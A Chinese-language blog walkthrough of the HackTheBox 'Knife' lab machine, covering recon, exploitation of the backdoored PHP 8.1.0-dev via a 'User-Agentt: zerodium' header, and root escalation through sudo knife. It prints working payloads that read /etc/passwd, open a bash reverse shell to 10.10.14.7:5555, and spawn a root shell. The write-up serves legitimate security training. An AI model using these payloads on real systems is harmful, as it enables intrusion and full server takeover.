0x00 前言

Knife靶机是一台Linux机器,难度级别为3.4,主机ip为:10.10.10.242。

0x01 靶机实操

1.1信息搜集

1)使用nmap进行端口探测;

开放端口有22和80,其中在80端口上搭建有web服务。

2)扫描目录,并未发现可利用目录;

3)使用nikto工具查看使用的php版本,因为wappalyzer插件有显示使用PHP/8.1.0版本搭建,通过搜索发现PHP 8.1.0-dev开发版本存在后门事件,所以需要确认其使用的版本。

发现其使用PHP/8.1.0-dev搭建,我们可以使用此漏洞了。

1.2利用PHP 8.1.0-dev开发版本后门

PHP 8.1.0-dev开发版本后门事件( PHP 8.1.0-dev版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送User-Agentt头来执行任意代码)。

利用方式:使用burp抓取数据包,添加User-Agentt头,

加入字段,成功被执行。

User-Agentt: zerodiumvar_dump(2*3);

尝试系统命令,也可以被成功执行。

User-Agentt: zerodiumsystem("cat /etc/passwd");

我们尝试使用此漏洞进行getshell

1)首先我们本地开启一个监听端口5555;

2)执行命令来获取反弹回的shell

User-Agentt:zerodiumsystem("bash -c 'exec bash -i >&/dev/tcp/10.10.14.7/5555 0>&1'");

查看当前用户的flag

1.3 权限提升

这里利用sudo权限。普通用户在使用sudo执行命令的过程中,会以root方式执行命令。在很多场景里,管理员为了运维管理方便,sudoer配置文件错误导致提权。

1)使用sudo -l 查看当前用户的权限;

2)对knife进行提权;

sudo knife exec --exec "exec '/bin/bash -i' "

3)提权成功,获取到root的flag;

posted on 2022-02-21 15:34  herbmint  阅读(199)  评论(0)    收藏  举报